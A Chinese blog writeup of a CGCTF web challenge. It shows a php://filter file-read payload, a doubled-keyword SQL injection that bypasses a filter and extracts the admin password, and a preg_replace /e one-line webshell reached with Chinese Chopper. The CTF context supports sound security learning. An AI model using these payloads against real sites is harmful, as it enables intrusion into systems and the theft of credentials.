

CGCTF-综合题2-writeup

原创

huanghelouzi 于 2018-10-26 21:45:57 发布 2082 收藏 1

分类专栏: #CTF 文章标签: CTF CGCTF writeup 综合

版权声明: 本文为博主原创文章, 遵循CC 4.0 BY-SA 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/huanghelouzi/article/details/83421205>

版权



[CTF 专栏收录该内容](#)

13 篇文章 5 订阅

订阅专栏

前言

tips : 没有提示

[链接](#)

我个人认为这个题目非常的好, 这道题虽然花了很长的时候, 但是收获也很大。所以不放在writeup集合中, 单独拿出来写了一篇。我写的CGCTF关于web的writeup请移步, [点击这里](#)。

正文

首先访问题目, 发现好像挺正常的, 没有发现什么提示。所以第一步做一个简单信息收集。

欢迎来到Xlcteam客户留言板, 各位朋友可以在这里留下对本公司的意见或建议。

本组织主要为企业提供网络安全服务。正如公司名所说, 本公司是混迹在“娱乐圈”中的公司, 喜欢装B, 一直摸黑竞争对手, 从未被黑。

本公司的经营理念为“技术好, 算个吊, 摸黑对手有一套, 坑到学生才叫吊~”。
你别说不爽我们, 有本事来爆我们(科哥)菊花~ come on! !

客户留言:

大秘密:
交个朋友吧, 这个是我微信号
e045e454c18ca8a4415cfeddd1f7375eb0595c71ac00a0e4758761e1cc83f2c565bb09bf94d1f6c2ffc0fb9849203a14af723b532cbf44a2d6f41b0dee4e834 这是原来管理员说的话, 一不小心给覆盖了, sorry! !! 欢迎来到xlcteam渗透挑战平台, 在这里各位黑客可以尽情施展你们那牛X的技术和猥琐流的渗透技巧。(别说SAE没有写权限传不了shell, 渗透到后台之后就什么都知道了)。对了, 各位脚本小子就不要拿各种扫描工具猛扫了, 也扫不到什么东西的。当然, 适当的收集资料还是可以的

jbrown:
test

<https://blog.csdn.net/huanghelouzi>

已知可能有价值的url

<http://cms.nuptzj.cn/> 首页

<http://cms.nuptzj.cn/index.php?page=1> 点击下一页时出现

<http://cms.nuptzj.cn/so.php> 搜索

<http://cms.nuptzj.cn/say.php?nice=fdsfsdf&usersay=fdsfsdf&Submit=确认提交> 提交留言时出现的url，但是源代码中好像没有异常好吗



<http://cms.nuptzj.cn/about.php?file=sm.txt> 关于文件，这个url可能存在使用php伪协议的可能性。并且这个文件提供许多有价值的信息。

很明显，这是安装后留下来忘删除的文件。。。至于链接会出现在主页上，这就要问管理员了。。。 =====华丽的分割线===== 本CMS由Funny公司开发的公司留言板系统，据本技术总监说，此CMS采用国际顶级的技术所开发，安全性和实用性杠杠滴~
 以下是本CMS各文件的功能说明（由于程序猿偷懒，只列了部分文件） config.php: 存放数据库信息，移植此CMS时要修改 index.php: 主页文件 passencode.php: Funny公司自写密码加密算法库 say.php: 用于接收和处理用户留言请求 sm.txt : 本CMS的说明文档 sae的information_schema表好像没法检索，我在这里给出admin表结构 create table admin (id integer, user name text, userpass text,) ===== 下面是正经的 : 本渗透测试平台由：三只小猪(root#zcnhonker.net)& 冷爱(hh250@qq.com)开发.由你们周老大我辛苦修改，不能题目都被AK嘛，你们说是不是。所以这一题。。你们做出来也算你们吊咯。

config.php: 存放数据库信息移植此CMS时要修改

index.php: 主页文件

passencode.php: Funny公司自写密码加密算法库

say.php: 用于接收和处理用户留言请求

sm.txt : 本CMS的说明文档

admin表结构 create table admin (id integer, user name text, userpass text,)

首先发现 <http://cms.nuptzj.cn/about.php?file=sm.txt> 可以使用php伪协议任意读取文件内容。

payload

<http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=index.php>

index.php代码，很长而且又用不上，所以不要了。

about.php文件源代码

```
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cutf=strchr($file,"loginxlcteam");
if($cutf==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录，禁止查看！但是。。。')</script>";
}
}
```

通过代码我们发现疑似配置文件 config.php 和系统后台目录 loginxlcteam 被禁止读取

用户名:

密 码:

登录

https://blog.csdn.net/huanghelouzi

so.php 源代码

```
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔，本功能只有用本公司开发的浏览器才可以使用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库！！ ".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&ampnbsp&ampnbsp&ampnbsp'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
```

通过代码发现当 'HTTP_USER_AGENT']=="Xlcteam Browser" 才会执行下一步操作。

根据so.php的源代码中我们还发现了，防止sql注入的文件 antiinject.php，至于xss，作者自己也说了想都别想了。
antiinject.php源代码

```
<?php
function antiinject($content) {
    $keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
    $info = strtolower($content);
    for ($i = 0;$i <= count($keyword);$i++) {
        $info = str_replace($keyword[$i], ' ', $info);
    }
    return $info;
}
?>
```

发现sql注入只是将关键字置换为空，可以双写绕过。

现在就可以sql注入出admin的密码了。先抓包修改 User-agent 为 Xlcteam Browser，然后双写绕过，表的结构在 http://cms.nuptzj.cn/about.php?file=sm.txt 中给出。

payload

```
soi=1/**/aandnd/**/0/**/uunionnion/**/sselectelet/**/1,(sselectelet/**/group_concat(userppassass)/**/ffromrom/**/aadmindmin),3,4
```

Load URL: http://cms.nuptzj.cn/so.php
Split URL
Execute
Enable Post data (checked) Enable Referrer
Post data: soi=1/**/aandnd/**/0/**/uunionnion/**/sselectelet/**/1,(sselectelet/**/group_concat(userppassass)/**/ffromrom/**/aadmindmin),3,4

102 117 99 107 114 117 110 116 117:

3

<https://blog.csdn.net/huanghelouzi>

密码需要将上面的ascii转成char

```
# coding:utf-8
int_c = ["102", "117", "99", "107", "114", "117", "110", "116", "117"]
password = ""
for c in int_c:
    password += chr(int(c))
print(password)
#fuckruntu
```

得到admin的密码之后，转url <http://cms.nuptzj.cn/loginxlcteam> 登录

Load URL: http://cms.nuptzj.cn/loginxlcteam/arlogined.php
Split URL
Execute
Enable Post data (unchecked) Enable Referrer

恭喜你已拿下后台，离爆菊只差一步了flag1:nctf{}

能来到这里，相信也不是只会用工具的脚本小子了

现在离爆菊只差一步了

因为程序猿连后台都懒得开发了，为了方便管理，他邪恶地放了一个一句话木马在网站的根目录下
小马的文件名为：xlcteam.php

黑阔，哎哟~不错哦

<https://blog.csdn.net/huanghelouzi>

经提示本站根目录下存在存在一个一句话木马，然后我们把一句话 <xlcteam.php> 通过上面的方法给读取出来。

```
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e','');
array_walk($arr, $e, '');
?>
```

接着使用菜刀连接上去即可

```
url : http://cms.nuptzj.cn/xlcteam.php?www=preg_replace  
pass : wtf
```



后言

共勉。